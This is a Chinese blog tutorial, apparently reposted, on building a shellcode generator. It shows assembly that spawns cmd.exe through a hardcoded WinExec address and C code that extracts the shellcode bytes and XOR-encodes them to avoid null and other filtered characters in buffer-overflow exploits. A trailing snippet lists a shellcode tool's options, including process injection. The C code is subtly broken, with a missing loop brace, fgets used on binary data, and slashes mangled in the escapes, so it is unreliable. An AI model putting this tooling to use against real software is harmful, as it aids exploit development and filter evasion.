ShellCode生成器

http://hi.baidu.com/olhack/blog/item/4eaad7b4132c15738ad4b2f6.html

 

黑防以前N多的文章已经介绍了ShellCode的编写,所以关于ShellCode的编写不是本文的目的。一般情况下,我们都是用汇编写好实现ShellCode功能的汇编代码,然后再提取16进制,那怎么提取呢?有人说用VC反汇编后,可以得到对应的16进制代码,然后手抄! Oh……晕死!有人说用内存拷贝!Oh……也比较笨,而且还要自己做一些麻烦的处理。呵呵,说了这么多废话,就是引出本文的写作目的:给大家介绍如何通过编程来实现提取ShellCode的16进制代码,并且能提供对ShellCode进行XOR加密而避开特殊字符的限制。
这里首先要感谢delicon(国外的一个牛人),因为我这里的编程实现有部分借鉴他提供的源代码。其实在安全焦点,navyseals已经提供了ShellCode提取的小工具。如果大家只是要用工具,那么可以直接去下载来用就是,或者用我在附件里提供的工具也可。不过有人说过,不会自己写工具的人不是一个真正的黑客。呵呵,你想成为真正的黑客吗? Ok……Do it yourself!
如果是实现小型功能的ShellCode,我们大可以用VC的内联汇编功能,但如果是要实现功能复杂一点的ShellCode,VC的内联汇编就远远不能满足我们的要求了,而且内联汇编不易移植,这时候我们就要换一个更为强大的汇编编译器NASM(附件里有收录),我们可以先写用汇编写好代码。比如我们写一段开DOS窗口的汇编代码,如下:
push ebp
mov ebp,esp
push ebx
mov byte ptr [ebp-4],63h // ‘c’
mov byte ptr [ebp-3],6Dh // ‘m’
mov byte ptr [ebp-2],64h // ‘d’
mov byte ptr [ebp-1],0 // ‘/0’

push 5 //这里,#define SW_SHOW 5
lea eax,[ebp-4]
push eax
mov eax, 0x77e4fd35 
call eax
pop esp
小提示:上面0x77e4fd35是WinExec函数在作者计算机(Windows XP SP1)上的函数入口地址,不同的系统该地址可能不同。

 

这段汇编代码实现的功能对应的C语言如下:
#include <windows.h>
void main()
{
char cmdline[4] = “cmd”;
WinExec(cmdline,SW_SHOW); 
}
如果我们用在VC的内联汇编中,就应该是下面这样的格式:
#include <windows.h>
void main()
{
__asm{
push ebp
mov ebp,esp
push ebx
mov byte ptr [ebp-4],63h
mov byte ptr [ebp-3],6Dh
mov byte ptr [ebp-2],64h
mov byte ptr [ebp-1],0

push 5
lea eax,[ebp-4]
push eax
mov eax, 0x77e4fd35
call eax
pop esp
}
}
看,也就是把内联汇编块用__asm{}包起来。好,我们编译运行,可爱的DOS窗口就弹出来了。 
那么我们怎么运用NASM来编译汇编代码呢?很简单,把实现功能的汇编代码段(比如上面这段开DOS窗口的代码)在代码的第一行,加上BITS 32,如下图2所示。然后把汇编代码段里的类型转换指令PTR全部去掉(因为NASM的BYTE已经做了优化,它本身已经相当于MASM的PTR BYTE了),保存在一个后缀名为.asm的文件里,比如上面的,我保存为cmd.asm,然后在命令行下输入下列命令;
nasm –s –fbin cmd.asm
参数解析: -s 重定向错误消息到标准输出,便于查看错误
-f 后接有效的输出格式,比如可以接-fbin,-fwin32 –fobj等。如果不跟格式,就表示默认为-fbin,生成平坦格式的二进制文件(具体详细的命令参数可以查看NASM帮助。) 
如果没有错误,就会生成一个名为CMD文件,如果用UltraEdit查看。呵呵,你会发现里面就是我们想要的ShellCode十六进制码。有些读者开始用鼠标“框”,然后拷贝。呵呵,大哥悠着点,我们还没完,你不觉得这样跟在VC里用内存拷贝没什么区别吗?而且你还要手动的在每个字节前添加/x或0x。既然16进制码都有了,我们还写不出一个提取ShellCode的小程序吗? 呵呵,废话少说,直接给出提取ShellCode的C代码:

void ShellCodeGenerater(char *file)
{
int iFileSize;
FILE *fp = NULL;

fp = fopen(file,"rb"); //以二进制只读模式打开文件
if( fp == NULL ) // 判断文件是否成功打开
{
printf("Error: Unable to open %s!/n",file);
exit(1);
}
//计算文件大小
fseek(fp,0,SEEK_END); //移到文件末尾
iFileSize = ftell(fp); //获得文件指针的当前位置,iFileSize就是文件的大小了
fseek(fp,0,SEEK_SET); //回到文件头位置

BYTE bb;
char *buff = (char *)malloc(iFileSize); //预留足够的空间
if( fgets(buff,iFileSize,fp) == NULL ) //把读入文件内容读入buff缓冲区
{
printf("Error: Unable to read from file./n");
exit(1);
}

FILE* myfile;
myfile = fopen("ShellCode.txt","w"); //创建或打开ShellCode.txt来保存ShellCode
fprintf(myfile,"char shellcode[] = /n"); 
fprintf(myfile,"/"");
for( int i=0 ; i < iFileSize ; i++ )

bb = buff[i];
fprintf(myfile,"//x%2.2X",bb);
if(i%16==0) // 每行16个字节
{
fprintf(myfile,"/"");
fprintf(myfile,"/n/"");

}
//关闭文件流
fclose(myfile);
fclose(fp);
return;
}
整个程序思路很简单,就是基本的文件读取操作而已,提供一个文件名,按二进制格式读取,然后在每个字节前加上/x,输出到一个文件名为“ShellCode.txt”的文件中,简单吧!比如我们编译上面的程序后生成名为ShellCode_Gen.exe,那么对于前面生成的cmd文件,我们就可以在命令行下:ShellCode_Gen.exe CMD,如果没有错误发生,就得到了ShellCode.txt文件,打开看看。
这样就可以轻松地拷贝了,而且免去了手动添加/x的痛苦。
大家都知道,一般用于缓冲区溢出的ShellCode都对编码有要求,最典型的就是不允许0x00空字符的存在了,因为在传输过程中它会截断我们的ShellCode而导致溢出失败。更特殊的,对于不同的漏洞程序,还有特殊字符的限制,更加迫使我们对ShellCode进行编码。下面,我们通过修改上面的程序来解决这些问题吧。 
最普通的情况是,我们可以选择一个合适的XOR值(比如常见的0x97或0x99),对整个ShellCode里所有字节进行XOR,然后在解码的时候再XOR回来。
对于上面的void ShellCodeGenerater(char *file),我们做一点小改动,给它多加一个参数:
void ShellCodeGenerater(char *file,char *xorchar) 
其中第2个参数是我们在命令行下赋给程序的第2个参数,它就是我们用来XOR的单个字节,比如0x97。
我们的思路和上面是一样的,就是在写入ShellCode.txt前,对每个字节XOR一次,所以需要开辟一块大小和buff一样的空间来存放XOR后的值,然后逐个按位异或,并记录包含“/x00”字节的个数:
for(int i=0; i<iFileSize; i++)
{
//bEncodeChar是利用strtoul(xorchar,NULL,0)转换而来
buff2[i] = buff[i]^bEncodeChar; 
if ( buff2[i] == '/x00')
CountOfNull++; // CountOfNull用来计数‘/x00’的个数
}
到这还没完,我们只是避开了“/x00”空字节,那其它的特殊字符呢?比如RPC溢出利用中对“/”做了限制?来解决这个问题,精益求精嘛。上面的程序只需要改动一点点,先添加一个函数,它检验并计算存在多少个我们所指定不包括“/x00”在内的非法受限字符,该函数定义如下:
int GetNumOfIllegalChar(char *buffer, char* IllegalChar)
{
char *p;
int count =0;
for( ; *IllegalChar; IllegalChar++) 
{
p = strchr(buffer,*IllegalChar); //查找非法字符
if(p) count++; 
}
return count;
}
其中,buffer指向的是buff2所指的缓冲区,IllegalChar所指的字符串为程序命令行的第3个参数,GetNumOfIllegalChar()返回的是不包括“/x00”在内的非法字符数。我们把这个函数放在ShellCodeGenerater()里调用,所以得再给ShellCodeGenerater()添加第3个参数,让他接受程序得第3个命令行参数:
void ShellCodeGenerater(char *file,char *xorchar,char *specialchar)
详细的源代码参照附件encodeshellcode.cpp。
对选取的XOR值只要能避开“/x00”和非法字符即可,比如0x96不行,换0x97,如果还不行,换0x99,直到行为止,只要受限字符不是太多,总会得到适合的XOR值的。最后得到我们的加密ShellCode程序,假如用上面CMD文件做试验,“0x97”做XOR值,受限字符为“/:()|”,那么在命令行下就可以这样使用:
encodeshellcode.exe CMD 0x99 /:()|

看到反白部分,指出有一个不合法字符。那换0x97试试:
Encodeshellcode.exe CMD 0x97 /:()|
得到结果如图6所示:
再打开生成的ShellCode.txt。

哈哈,这就是我们可用的编码过的ShellCode了!

本文介绍的编程实现虽然很简单,而且在编码这里也有存在一定的局限性,但大家可以发挥你们的聪明才智,将其改进完善,相信一定会非常实用的。真诚希望本文能给在正学习缓冲区溢出和ShellCode技术的你一点帮助。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值